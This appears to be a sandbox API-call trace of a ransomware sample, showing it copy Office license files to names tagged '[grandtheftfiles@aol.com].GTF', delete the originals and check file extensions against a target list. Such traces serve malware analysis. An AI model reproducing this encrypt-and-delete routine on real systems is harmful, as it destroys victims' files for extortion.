	[0183.411] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0183.411] SetEndOfFile (hFile=0x28c) returned 1
	[0183.411] CloseHandle (hObject=0x28c) returned 1
	[0183.411] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.411] SetEndOfFile (hFile=0x570) returned 1
	[0183.414] CloseHandle (hObject=0x570) returned 1
	[0183.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_grace-ul-oob.xrm-ms")) returned 1
	[0183.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.416] lstrlenW (lpString=".doc") returned 4
	[0183.416] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.416] lstrlenW (lpString=".docx") returned 5
	[0183.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.416] lstrlenW (lpString=".pdf") returned 4
	[0183.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.416] lstrlenW (lpString=".xls") returned 4
	[0183.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.416] lstrlenW (lpString=".xlsx") returned 5
	[0183.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.416] lstrlenW (lpString=".ppt") returned 4
	[0183.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.416] lstrlenW (lpString=".zip") returned 4
	[0183.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.416] lstrlenW (lpString=".rar") returned 4
	[0183.417] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".bz2") returned 4
	[0183.417] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".7z") returned 3
	[0183.417] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString=".dbf") returned 4
	[0183.417] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString=".1cd") returned 4
	[0183.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString=".jpg") returned 4
	[0183.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString=".doc") returned 4
	[0183.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".docx") returned 5
	[0183.417] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.417] lstrlenW (lpString=".pdf") returned 4
	[0183.417] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".xls") returned 4
	[0183.417] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".xlsx") returned 5
	[0183.417] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.417] lstrlenW (lpString=".ppt") returned 4
	[0183.417] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.417] lstrlenW (lpString=".zip") returned 4
	[0183.417] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".rar") returned 4
	[0183.417] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.417] lstrlenW (lpString=".bz2") returned 4
	[0183.417] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.418] lstrlenW (lpString=".7z") returned 3
	[0183.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.418] lstrlenW (lpString=".dbf") returned 4
	[0183.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.418] lstrlenW (lpString=".1cd") returned 4
	[0183.418] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Grace-ul-oob.xrm-ms") returned 78
	[0183.418] lstrlenW (lpString=".jpg") returned 4
	[0183.418] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.418] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.418] lstrlenW (lpString="OutlookR_Trial-ppd.xrm-ms") returned 25
	[0183.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.419] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20902) returned 1
	[0183.419] CloseHandle (hObject=0x570) returned 1
	[0183.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms")) returned 0x220
	[0183.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.420] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.420] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.421] GetLastError () returned 0x0
	[0183.421] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x51a6, lpOverlapped=0x0) returned 1
	[0183.425] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0183.426] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.426] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0183.426] SetEndOfFile (hFile=0x28c) returned 1
	[0183.426] CloseHandle (hObject=0x28c) returned 1
	[0183.426] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.426] SetEndOfFile (hFile=0x570) returned 1
	[0183.429] CloseHandle (hObject=0x570) returned 1
	[0183.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms")) returned 1
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString=".doc") returned 4
	[0183.431] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".docx") returned 5
	[0183.431] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.431] lstrlenW (lpString=".pdf") returned 4
	[0183.431] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".xls") returned 4
	[0183.431] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".xlsx") returned 5
	[0183.431] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.431] lstrlenW (lpString=".ppt") returned 4
	[0183.431] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString=".zip") returned 4
	[0183.431] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".rar") returned 4
	[0183.431] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".bz2") returned 4
	[0183.431] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString=".7z") returned 3
	[0183.431] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString=".dbf") returned 4
	[0183.431] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString=".1cd") returned 4
	[0183.431] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.431] lstrlenW (lpString=".jpg") returned 4
	[0183.431] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString=".doc") returned 4
	[0183.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".docx") returned 5
	[0183.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.432] lstrlenW (lpString=".pdf") returned 4
	[0183.432] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".xls") returned 4
	[0183.432] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".xlsx") returned 5
	[0183.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.432] lstrlenW (lpString=".ppt") returned 4
	[0183.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString=".zip") returned 4
	[0183.432] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".rar") returned 4
	[0183.432] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".bz2") returned 4
	[0183.432] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString=".7z") returned 3
	[0183.432] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString=".dbf") returned 4
	[0183.432] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString=".1cd") returned 4
	[0183.432] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75
	[0183.432] lstrlenW (lpString=".jpg") returned 4
	[0183.432] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.432] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.433] lstrlenW (lpString="OutlookR_Trial-ul-oob.xrm-ms") returned 28
	[0183.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.433] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11596) returned 1
	[0183.433] CloseHandle (hObject=0x570) returned 1
	[0183.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms")) returned 0x220
	[0183.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.434] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.434] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0183.435] GetLastError () returned 0x0
	[0183.435] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0183.438] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.439] ReadFile (in: hFile=0x570, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.439] WriteFile (in: hFile=0x28c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0183.439] SetEndOfFile (hFile=0x28c) returned 1
	[0183.440] CloseHandle (hObject=0x28c) returned 1
	[0183.440] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.440] SetEndOfFile (hFile=0x570) returned 1
	[0183.442] CloseHandle (hObject=0x570) returned 1
	[0183.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms")) returned 1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString=".doc") returned 4
	[0183.444] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".docx") returned 5
	[0183.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.444] lstrlenW (lpString=".pdf") returned 4
	[0183.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".xls") returned 4
	[0183.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".xlsx") returned 5
	[0183.444] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.444] lstrlenW (lpString=".ppt") returned 4
	[0183.444] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString=".zip") returned 4
	[0183.444] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".rar") returned 4
	[0183.444] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".bz2") returned 4
	[0183.444] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString=".7z") returned 3
	[0183.444] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString=".dbf") returned 4
	[0183.444] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString=".1cd") returned 4
	[0183.444] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString=".jpg") returned 4
	[0183.444] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.445] lstrlenW (lpString=".doc") returned 4
	[0183.445] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".docx") returned 5
	[0183.445] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.445] lstrlenW (lpString=".pdf") returned 4
	[0183.445] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".xls") returned 4
	[0183.445] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".xlsx") returned 5
	[0183.445] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.445] lstrlenW (lpString=".ppt") returned 4
	[0183.445] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.445] lstrlenW (lpString=".zip") returned 4
	[0183.445] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".rar") returned 4
	[0183.445] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".bz2") returned 4
	[0183.445] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString=".7z") returned 3
	[0183.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.445] lstrlenW (lpString=".dbf") returned 4
	[0183.445] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.445] lstrlenW (lpString=".1cd") returned 4
	[0183.445] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78
	[0183.445] lstrlenW (lpString=".jpg") returned 4
	[0183.445] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.445] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.445] lstrlenW (lpString="OutlookVL_KMS_Client-ppd.xrm-ms") returned 31
	[0183.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.448] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6795) returned 1
	[0183.448] CloseHandle (hObject=0x570) returned 1
	[0183.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0183.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0183.448] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.448] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
